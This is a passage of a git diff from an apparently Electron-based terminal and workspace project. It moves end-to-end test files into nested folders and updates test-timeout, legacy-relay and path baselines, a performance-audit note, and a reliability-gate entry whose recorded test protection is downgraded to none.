test-timeout-needs-reason:tests/e2e/paired-client-hosted-profile-cookies.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-client-project-removal-stops-host-terminals.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts -2 test-timeout-needs-reason:tests/e2e/paired-host-usage-credentials.spec.ts -7 test-timeout-needs-reason:tests/e2e/paired-instant-browser-tab.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-mobile-desktop-mirror-files-git-review.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-mobile-desktop-mirror-workspace-visibility.spec.ts -2 test-timeout-needs-reason:tests/e2e/paired-mobile-desktop-mirror.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-mobile-desktop-tab-composition.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-mobile-serve-restart-terminal-tabs.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-pane-title-desktop-host.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-preview-address-bar-convergence.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-browser-ghost-subscriber-rejoin.spec.ts -2 test-timeout-needs-reason:tests/e2e/paired-remote-browser-stream-reconnect.spec.ts -3 test-timeout-needs-reason:tests/e2e/paired-remote-html-preview-local-render.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-large-file-open.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-pane-layout-retry.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-split-pane-focus.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-split-pane-host-retired-ghost.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-browser-link.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-client-restart-survival.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-initial-snapshot-scrollback.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts -2 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-network-outage.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-parked-scrollback-restart.spec.ts -2 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-parked-scrollback-survives.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-reconnect-idle-frame.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-retention-memory.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-stall-recovery.spec.ts -2 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-terminal-wide-viewport.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-serve-cold-restore-agent-status.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-server-rows-shadow.spec.ts -2 test-timeout-needs-reason:tests/e2e/paired-skill-installation.spec.ts -4 test-timeout-needs-reason:tests/e2e/paired-split-pane-browser-placement.spec.ts -2 test-timeout-needs-reason:tests/e2e/paired-startup-exec-readiness.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-terminal-switch-desktop-reveal.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-two-client-emptied-workspace-reseed.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-usage-owner-placeholders.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-worktree-activation-isolation.spec.ts -3 test-timeout-needs-reason:tests/e2e/persisted-session-production-upgrade.spec.ts -1 test-timeout-needs-reason:tests/e2e/pr11346-selected-runtime-add.spec.ts -1 test-timeout-needs-reason:tests/e2e/profile-state-automatic-backup-recovery.spec.ts -3 test-timeout-needs-reason:tests/e2e/relay-region-correction.unit.test.ts -1 test-timeout-needs-reason:tests/e2e/remote-agent-session-focus-authority.spec.ts -2 test-timeout-needs-reason:tests/e2e/remote-session-bulk-open-freeze-repro.spec.ts -1 test-timeout-needs-reason:tests/e2e/remote-terminal-input-delivery-model.unit.test.ts -1 test-timeout-needs-reason:tests/e2e/renderer-crash-recovery-terminal-input.spec.ts -3 test-timeout-needs-reason:tests/e2e/restart-restore-terminal-input.spec.ts -1 test-timeout-needs-reason:tests/e2e/runtime-file-browser-windows-drives.spec.ts -1 test-timeout-needs-reason:tests/e2e/runtime-host-status-recovery.spec.ts -1 test-timeout-needs-reason:tests/e2e/settled-worker-tab-survives-restart.spec.ts -1 test-timeout-needs-reason:tests/e2e/sidebar-desktop-reads-main.spec.ts -2 test-timeout-needs-reason:tests/e2e/sidebar-host-unread.spec.ts -4 test-timeout-needs-reason:tests/e2e/sidebar-phone-feed-list.spec.ts -1 test-timeout-needs-reason:tests/e2e/sidebar-sort-stamps-startup.spec.ts -2 test-timeout-needs-reason:tests/e2e/sidebar-unread-older-paired-host.spec.ts -1 test-timeout-needs-reason:tests/e2e/sidebar-workspace-rows.spec.ts -1 test-timeout-needs-reason:tests/e2e/source-control-large-file-count.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-browser-service-status.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-desktop-browser-bridge.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-editor-drafts-migration.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-editor-ownership.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-editor-watch-recovery.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-explorer-watch-recovery.spec.ts -4 test-timeout-needs-reason:tests/e2e/ssh-orcad-idle-exit.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-markdown-conversion.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-markdown-link-refresh.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-markdown-live-documents.spec.ts -3 test-timeout-needs-reason:tests/e2e/ssh-orcad-pairing-repair.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-shared-home-machines.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-shared-login-migration.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-sleep-disconnected.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-terminal-browser-link.spec.ts -3 test-timeout-needs-reason:tests/e2e/ssh-orcad-terminal-journeys.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-terminal-network-outage.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-terminal-reconnect-idle-frame.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-terminal-root-owner.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-unbindable-tunnel-port.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-update-anyway.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-windows-cli-matrix.spec.ts -4 test-timeout-needs-reason:tests/e2e/ssh-orcad-workspace-tools.spec.ts -1 test-timeout-needs-reason:tests/e2e/staging-skill-sharing.spec.ts -1 test-timeout-needs-reason:tests/e2e/terminal-cli-split-closed-before-mount.spec.ts -6 test-timeout-needs-reason:tests/e2e/terminal-column-desync-repro.spec.ts -1 test-timeout-needs-reason:tests/e2e/terminal-inline-images-memory.spec.ts -1 test-timeout-needs-reason:tests/e2e/terminal-inline-images-paired-runtime.spec.ts -6 test-timeout-needs-reason:tests/e2e/terminal-inline-tui-reveal-convergence.spec.ts -1 test-timeout-needs-reason:tests/e2e/terminal-parked-cli-split.spec.ts -1 test-timeout-needs-reason:tests/e2e/terminal-stuck-occlusion-recovery.spec.ts -3 test-timeout-needs-reason:tests/e2e/terminal-tab-close-running-confirm-mouse.spec.ts -1 test-timeout-needs-reason:tests/e2e/terminal-tab-close-running-confirm.spec.ts -1 test-timeout-needs-reason:tests/e2e/terminal-tab-level-binding-upgrade.spec.ts -1 test-timeout-needs-reason:tests/e2e/terminal-warm-reattach-split-live-output.spec.ts -2 test-timeout-needs-reason:tests/e2e/terminal-windows-codex-multiline-paste.spec.ts -1 test-timeout-needs-reason:tests/e2e/unopened-workspace-agent-single-resume.spec.ts -1 test-timeout-needs-reason:tests/e2e/windows-wsl-terminal-restore.spec.ts -1 test-timeout-needs-reason:tests/e2e/workspace-layout-oracle-headless.spec.ts -1 test-timeout-needs-reason:tests/e2e/workspace-session-corrupt-tab-salvage.spec.ts -2 test-timeout-needs-reason:tests/e2e/wsl-host-fake-transport.spec.ts +1 test-timeout-needs-reason:tests/e2e/agents/settings/cursor-quota-transport.unit.test.ts +1 test-timeout-needs-reason:tests/e2e/golden-journeys/golden-worktree-create-switch.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/mobile-mirror/headless-mobile-markdown.spec.ts +1 test-timeout-needs-reason:tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-reveal-grid.spec.ts +1 test-timeout-needs-reason:tests/e2e/terminal/remote-input/headless-paired-remote-terminal-stall-recovery.spec.ts +1 test-timeout-needs-reason:tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-viewer-size.spec.ts +2 test-timeout-needs-reason:tests/e2e/browser/remote-hosted/headless-serve-browser-tab-restart.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/mobile-mirror/headless-serve-mobile-markdown.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/mobile-mirror/headless-serve-mobile-native-chat-identity.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/mobile-mirror/mobile-subscribe-idle-hidden-pane-fit.spec.ts +1 test-timeout-needs-reason:tests/e2e/browser/client-hosted/paired-client-hosted-browser-markup.spec.ts +1 test-timeout-needs-reason:tests/e2e/browser/client-hosted/paired-client-hosted-profile-cookies.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/paired-runtime/workspace-routing/paired-client-project-removal-stops-host-terminals.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/mobile-mirror/paired-mobile-desktop-mirror-files-git-review.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/mobile-mirror/paired-mobile-serve-restart-terminal-tabs.spec.ts +1 test-timeout-needs-reason:tests/e2e/browser/remote-hosted/paired-remote-browser-ghost-subscriber-rejoin.spec.ts +1 test-timeout-needs-reason:tests/e2e/terminal/remote-parking/paired-remote-terminal-initial-snapshot-scrollback.spec.ts +1 test-timeout-needs-reason:tests/e2e/terminal/remote-parking/paired-remote-terminal-truncated-tail-first-paint.spec.ts +1 test-timeout-needs-reason:tests/e2e/agents/remote-sessions/paired-serve-cold-restore-agent-status.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/paired-runtime/workspace-routing/paired-server-rows-shadow.spec.ts +2 test-timeout-needs-reason:tests/e2e/remote/paired-runtime/workspace-routing/paired-startup-exec-readiness.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/paired-runtime/workspace-routing/paired-worktree-activation-isolation.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/paired-runtime/workspace-routing/pr11346-selected-runtime-add.spec.ts +1 test-timeout-needs-reason:tests/e2e/desktop/startup-recovery/renderer-crash-recovery-terminal-input.spec.ts +3 test-timeout-needs-reason:tests/e2e/desktop/startup-recovery/restart-restore-terminal-input.spec.ts +1 test-timeout-needs-reason:tests/e2e/editor/file-explorer/runtime-file-browser-windows-drives.spec.ts +2 test-timeout-needs-reason:tests/e2e/workspaces/sidebar/sidebar-unread-older-paired-host.spec.ts +1 test-timeout-needs-reason:tests/e2e/workspaces/sidebar/sidebar-workspace-rows.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-editor-watch-recovery.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-explorer-watch-recovery.spec.ts +3 test-timeout-needs-reason:tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-idle-exit.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-pairing-repair.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-shared-home-machines.spec.ts +1 test-timeout-needs-reason:tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-unbindable-tunnel-port.spec.ts +1 test-timeout-needs-reason:tests/e2e/integrations/skills/staging-skill-sharing.spec.ts +6 test-timeout-needs-reason:tests/e2e/terminal/rendering/terminal-column-desync-repro.spec.ts +3 test-timeout-needs-reason:tests/e2e/terminal/retention/terminal-tab-close-running-confirm-mouse.spec.ts +1 test-timeout-needs-reason:tests/e2e/terminal/retention/terminal-tab-close-running-confirm.spec.ts +1 test-timeout-needs-reason:tests/e2e/terminal/lifecycle/terminal-tab-level-binding-upgrade.spec.ts +1 test-timeout-needs-reason:tests/e2e/terminal/input/terminal-windows-codex-multiline-paste.spec.ts +2 test-timeout-needs-reason:tests/e2e/remote/wsl-hosts/wsl-host-fake-transport.spec.ts diff --git a/config/legacy-relay-compat-tags-baseline.txt b/config/legacy-relay-compat-tags-baseline.txt index 8b6b8998024..9245202aaf8 100644 --- a/config/legacy-relay-compat-tags-baseline.txt +++ b/config/legacy-relay-compat-tags-baseline.txt @@ -2,7 +2,6 @@ # Each tag marks code the relay retirement (2027-01-15) deletes or edits. # Prune: pnpm check:legacy-relay-fence-ratchet --prune config/scripts/workflow/source-routing/pr-code-change-scope.mjs -config/scripts/workflow/source-routing/pr-e2e-source-routing.mjs src/main/ipc/ssh/ssh-connect-flow.ts src/main/ipc/ssh/ssh-host-server-connect.ts src/main/ipc/ssh/ssh-host-server-on-connect-wiring.ts @@ -28,6 +27,6 @@ src/shared/telemetry/schemas/telemetry-ssh-host-server-event-schemas.ts tests/e2e/cross-version-wire/relay/legacy-relay-bridge.unit.test.ts tests/e2e/cross-version-wire/relay/released-relay-daemon.ts tests/e2e/cross-version-wire/relay/released-relay-transport.ts -tests/e2e/helpers/build-released-relay-bundle.mts -tests/e2e/helpers/legacy-relay-docker-host.ts -tests/e2e/helpers/orcad-upgrade-profile.ts +tests/e2e/remote/relay/build-released-relay-bundle.mts +tests/e2e/remote/relay/legacy-relay-docker-host.ts +tests/e2e/remote/managed-ssh/host-lifecycle/orcad-upgrade-profile.ts diff --git a/config/legacy-relay-importers-baseline.txt b/config/legacy-relay-importers-baseline.txt index 66b9faada11..99dabc55536 100644 --- a/config/legacy-relay-importers-baseline.txt +++ b/config/legacy-relay-importers-baseline.txt @@ -10,6 +10,6 @@ src/main/ipc/ssh/ssh-session-teardown.ts src/main/ipc/ssh/ssh.ts src/main/managed-server/lifecycle/orcad-runtime-conversion-wiring.ts tests/e2e/cross-version-wire/relay/legacy-relay-bridge.unit.test.ts -tests/e2e/helpers/legacy-relay-docker-host.ts +tests/e2e/remote/relay/legacy-relay-docker-host.ts src/main/managed-server/install/remote-install-model.ts src/main/ssh/system-transport/ssh-system-transport.integration.test.ts diff --git a/config/path-literal-baseline.txt b/config/path-literal-baseline.txt index 5cbdc849824..890c822491f 100644 --- a/config/path-literal-baseline.txt +++ b/config/path-literal-baseline.txt @@ -13,12 +13,10 @@ config/scripts/workflow/source-routing/pr-code-change-scope.mjs src/shared/agent config/scripts/workflow/source-routing/pr-code-change-scope.mjs src/shared/agent-session-record config/scripts/workflow/source-routing/pr-code-change-scope.mjs src/shared/agent-session-resume-marker config/scripts/workflow/source-routing/pr-code-change-scope.mjs src/shared/agent-session-turn-record -config/scripts/workflow/source-routing/pr-layout-oracle-route.mjs src/main/runtime/old-session-tabs-stream/ -config/scripts/workflow/source-routing/pr-layout-oracle-route.mjs src/renderer/src/runtime/remote-workspace-frozen/ config/tsconfig.node.json src/renderer/src/components/native-chat/native-chat-composer-primary-action.ts config/tsconfig.node.json src/renderer/src/components/native-chat/native-chat-resolution-receipt.ts config/tsconfig.node.json src/renderer/src/components/native-chat/structured-agent-question-projection.ts -tests/e2e/capture-opencode-tui-repro.mjs src/cli/cmd/tui/ui/spinner +tests/e2e/terminal/performance/capture-opencode-tui-repro.mjs src/cli/cmd/tui/ui/spinner tests/e2e/cross-version-wire/chat-journals/released-chat-writers.ts src/main/native-chat/agent-session-wire/structured-agent-session-event-sink.ts # Released source trees retain this actual registry; the current registry is checked first. tests/e2e/cross-version-wire/release-checkouts/release-module-locations.ts src/main/runtime/rpc/methods/index.ts diff --git a/config/performance-audit.md b/config/performance-audit.md index e414cb79ba2..dea9dd03e00 100644 --- a/config/performance-audit.md +++ b/config/performance-audit.md @@ -45,8 +45,7 @@ Incremental Claude scans and persisted Claude cache checkpoints are also include `.github/workflows/performance-contracts.yml` runs daily and manually on Linux, macOS and Windows, and on PRs changing this tooling or any listed contract file. It uploads per-OS JSON test results, plus the source inventory once from Linux -because that scan is OS-independent. Its schedule starts after merge. Run the existing -`test:e2e:terminal-perf:scale:report` ([guide](../docs/readme/terminal-perf.md)) for rendered typing/frame budgets. Unit tests do not +because that scan is OS-independent. Its schedule starts after merge. The rendered typing/frame benchmark was retired ([historical guide](../docs/readme/terminal-perf.md)). Unit tests do not measure SSH RTT, WSL scheduling or a packaged Electron renderer. To extend coverage, select a production-path regression with an operation-count, diff --git a/config/reliability-gates.jsonc b/config/reliability-gates.jsonc index 25041280269..a945c0c22fb 100644 --- a/config/reliability-gates.jsonc +++ b/config/reliability-gates.jsonc @@ -1160,7 +1160,7 @@ "id": "runtime.connection-owned-host-status", "title": "Host status recovers with its owning connection", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "runtime", "layer": "service-integration-and-e2e", "surfaces": [ @@ -1170,56 +1170,31 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["remote-runtime"], - "coveredPlatforms": ["macos"], + "coveredPlatforms": [], "coveredProviders": [], - "coverageNotes": "Audit5628 accompanies Audit5625 whole-suite deletion of src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts. Accepted loss: Renderer snapshot disconnect sequence ordering, removed/replaced pairing rejection, newer pairing catalog re-read/replay and old-pairing refresh refusal. No equivalent replacement or fresh reduced-command validation is claimed. Earlier statements that renderer disconnect/pairing and catalog-replay examples remain are historical. Retained partial protection applies only to the independent macOS rendered receipt and does not protect these retired alarms. Historical prior account follows: Audit 3301 removes the failed-verification/recovery/restart generation and host-contact-epoch, hosting and no-toast example from runtime-status-snapshot.test.ts. Earlier prose describing that example as retained is historical. Disconnect/pairing retirement and delayed catalog replay remain unchanged without equivalent replacement. Archive both complete historical 22-case unit receipts because their selector includes the reduced source; preserve the unrelated rendered receipt, current selectors and other-owner assertion references. No fresh aggregate or live host validation is claimed. Linux coverage from those two unit runs is historical; current covered-platform scope is limited to the preserved macOS rendered receipt. Audit1348 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Real authenticated sockets plus isolated desktop and headless hosts with desktop and browser viewers; deterministic lifecycle tests cover stale results and reader deadlines. The test-value audit removes the standalone runtime-status-snapshot.test.ts example that immediately applied the same supplied snapshots to two isolated slice stores. Its direct sequence-2 then older unavailable sequence-1 acceptance/rejection alarm is intentionally lost; it did not exercise a pending read, subscription delivery or a shared viewer connection. The suite retains failed-verification/recovery, disconnect/pairing retirement and catalog-refresh replay examples, which are not equivalent replacements. Historical executed commands, counts and results remain unchanged; no new live host, process restart or platform evidence is claimed. Audit1348: src/main/ipc/runtime-environments/runtime-environment-status-recovery.test.ts removed. Startup retry/broadcast counts and passive-before-active bootstrap request count. No equivalent replacement coverage is claimed. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. The current assertion index names unchanged owner lifecycle tests from the successful focused run. They do not replace the deleted startup retry/broadcast count alarms. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1748 removes7 of13 authored host-status-owner definitions: request/polling counts, reconnect/no-request variants, deadline copy and blocked-reason projections. Lost alarms are intentional; no equivalent replacement coverage is claimed. Existing dated evidenceRuns are historical and unchanged, and do not validate this reduced source or current aggregate selectors. Focused candidate execution, if successful, validates only the retained local fake-request/clock tests, not authenticated sockets, rendered clients or platform parity. Module-layout cleanup: Removed the primary-browser status TEST alarm for authenticated socket readiness and close retiring its owner. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5628 accompanies Audit5625 whole-suite deletion of src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts. Accepted loss: Renderer snapshot disconnect sequence ordering, removed/replaced pairing rejection, newer pairing catalog re-read/replay and old-pairing refresh refusal. No equivalent replacement or fresh reduced-command validation is claimed. Earlier statements that renderer disconnect/pairing and catalog-replay examples remain are historical. Retained partial protection applies only to the independent macOS rendered receipt and does not protect these retired alarms. Historical prior account follows: Audit 3301 removes the failed-verification/recovery/restart generation and host-contact-epoch, hosting and no-toast example from runtime-status-snapshot.test.ts. Earlier prose describing that example as retained is historical. Disconnect/pairing retirement and delayed catalog replay remain unchanged without equivalent replacement. Archive both complete historical 22-case unit receipts because their selector includes the reduced source; preserve the unrelated rendered receipt, current selectors and other-owner assertion references. No fresh aggregate or live host validation is claimed. Linux coverage from those two unit runs is historical; current covered-platform scope is limited to the preserved macOS rendered receipt. Audit1348 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Real authenticated sockets plus isolated desktop and headless hosts with desktop and browser viewers; deterministic lifecycle tests cover stale results and reader deadlines. The test-value audit removes the standalone runtime-status-snapshot.test.ts example that immediately applied the same supplied snapshots to two isolated slice stores. Its direct sequence-2 then older unavailable sequence-1 acceptance/rejection alarm is intentionally lost; it did not exercise a pending read, subscription delivery or a shared viewer connection. The suite retains failed-verification/recovery, disconnect/pairing retirement and catalog-refresh replay examples, which are not equivalent replacements. Historical executed commands, counts and results remain unchanged; no new live host, process restart or platform evidence is claimed. Audit1348: src/main/ipc/runtime-environments/runtime-environment-status-recovery.test.ts removed. Startup retry/broadcast counts and passive-before-active bootstrap request count. No equivalent replacement coverage is claimed. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. The current assertion index names unchanged owner lifecycle tests from the successful focused run. They do not replace the deleted startup retry/broadcast count alarms. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1748 removes7 of13 authored host-status-owner definitions: request/polling counts, reconnect/no-request variants, deadline copy and blocked-reason projections. Lost alarms are intentional; no equivalent replacement coverage is claimed. Existing dated evidenceRuns are historical and unchanged, and do not validate this reduced source or current aggregate selectors. Focused candidate execution, if successful, validates only the retained local fake-request/clock tests, not authenticated sockets, rendered clients or platform parity. Module-layout cleanup: Removed the primary-browser status TEST alarm for authenticated socket readiness and close retiring its owner. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", "motivatingLinks": ["https://github.com/stablyai/orca/pull/19163"], "invariant": "Failed bootstrap and authenticated reconnect converge without UI triggers; one connection owner publishes verified status, with no independent healthy status polling.", - "oracle": "Audit5628 accompanies Audit5625 whole-suite deletion of src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts. Accepted loss: Renderer snapshot disconnect sequence ordering, removed/replaced pairing rejection, newer pairing catalog re-read/replay and old-pairing refresh refusal. No equivalent replacement or fresh reduced-command validation is claimed. Earlier statements that renderer disconnect/pairing and catalog-replay examples remain are historical. Retained partial protection applies only to the independent macOS rendered receipt and does not protect these retired alarms. Historical prior account follows: Audit 3301 removes the failed-verification/recovery/restart generation and host-contact-epoch, hosting and no-toast example from runtime-status-snapshot.test.ts. Earlier prose describing that example as retained is historical. Disconnect/pairing retirement and delayed catalog replay remain unchanged without equivalent replacement. Archive both complete historical 22-case unit receipts because their selector includes the reduced source; preserve the unrelated rendered receipt, current selectors and other-owner assertion references. No fresh aggregate or live host validation is claimed. Linux coverage from those two unit runs is historical; current covered-platform scope is limited to the preserved macOS rendered receipt. Retained local cases check independent waiter deadlines/cancellation, failed-operation recovery, stale deferred results, disposal and explicit reconnect after authentication refusal. Historical aggregate receipts predate audit1748 and are not fresh validation of reduced sources.", - "commands": [ - "ORCA_BACKGROUND_LAUNCH=1 pnpm test src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts src/main/ipc/runtime-environments/status/runtime-environment-status-connection.test.ts", - "ORCA_BACKGROUND_LAUNCH=1 ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/runtime-host-status-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts", - "src/main/ipc/runtime-environments/status/runtime-environment-status-connection.test.ts", - "tests/e2e/runtime-host-status-recovery.spec.ts" - ], - "assertionRefs": [ - { - "file": "src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts", - "assertions": [ - "retries a failed status operation while retaining healthy transport and last good metadata", - "disconnect settles readers and prevents late results and retry resurrection" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-09-10", - "runner": "local", - "platform": "macos", - "command": "ORCA_BACKGROUND_LAUNCH=1 ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/runtime-host-status-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "summary": "Desktop-host and headless-host journeys passed with desktop and browser viewers.", - "durationSeconds": 31.3 - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5628 accompanies Audit5625 whole-suite deletion of src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts. Accepted loss: Renderer snapshot disconnect sequence ordering, removed/replaced pairing rejection, newer pairing catalog re-read/replay and old-pairing refresh refusal. No equivalent replacement or fresh reduced-command validation is claimed. Earlier statements that renderer disconnect/pairing and catalog-replay examples remain are historical. Retained partial protection applies only to the independent macOS rendered receipt and does not protect these retired alarms. Historical prior account follows: Audit 3301 removes the failed-verification/recovery/restart generation and host-contact-epoch, hosting and no-toast example from runtime-status-snapshot.test.ts. Earlier prose describing that example as retained is historical. Disconnect/pairing retirement and delayed catalog replay remain unchanged without equivalent replacement. Archive both complete historical 22-case unit receipts because their selector includes the reduced source; preserve the unrelated rendered receipt, current selectors and other-owner assertion references. No fresh aggregate or live host validation is claimed. Linux coverage from those two unit runs is historical; current covered-platform scope is limited to the preserved macOS rendered receipt. Retained local cases check independent waiter deadlines/cancellation, failed-operation recovery, stale deferred results, disposal and explicit reconnect after authentication refusal. Historical aggregate receipts predate audit1748 and are not fresh validation of reduced sources.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 180, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { - "status": "soaking", - "evidence": "Changed selectors have no new soak result after Audit1348; any retained unchanged-source receipts apply only to their own commands. Historical account: Local candidate runs passed; no sustained CI history yet." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1348; any retained unchanged-source receipts apply only to their own commands. Historical account: Local candidate runs passed; no sustained CI history yet." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit1348 changed referenced test sources; no new red/green validation of the reduced set. Historical account: First-status-failure oracle failed on main 58ff95becb40 (one request instead of two) and passes on the candidate. E2E verifies candidate recovery, not a baseline comparison." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit1348 changed referenced test sources; no new red/green validation of the reduced set. Historical account: First-status-failure oracle failed on main 58ff95becb40 (one request instead of two) and passes on the candidate. E2E verifies candidate recovery, not a baseline comparison." }, "performanceBudget": { "required": false, - "evidence": "Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Deterministic tests assert one shared request and no healthy owner polling." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Deterministic tests assert one shared request and no healthy owner polling." }, "promotionCriteria": ["Collect repeated CI runs without unexplained flakes."], "knownGaps": [ @@ -1237,7 +1212,11 @@ "Audit5628 accompanies Audit5625 whole-suite deletion of src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts. Accepted loss: Renderer snapshot disconnect sequence ordering, removed/replaced pairing rejection, newer pairing catalog re-read/replay and old-pairing refresh refusal. No equivalent replacement or fresh reduced-command validation is claimed. Earlier statements that renderer 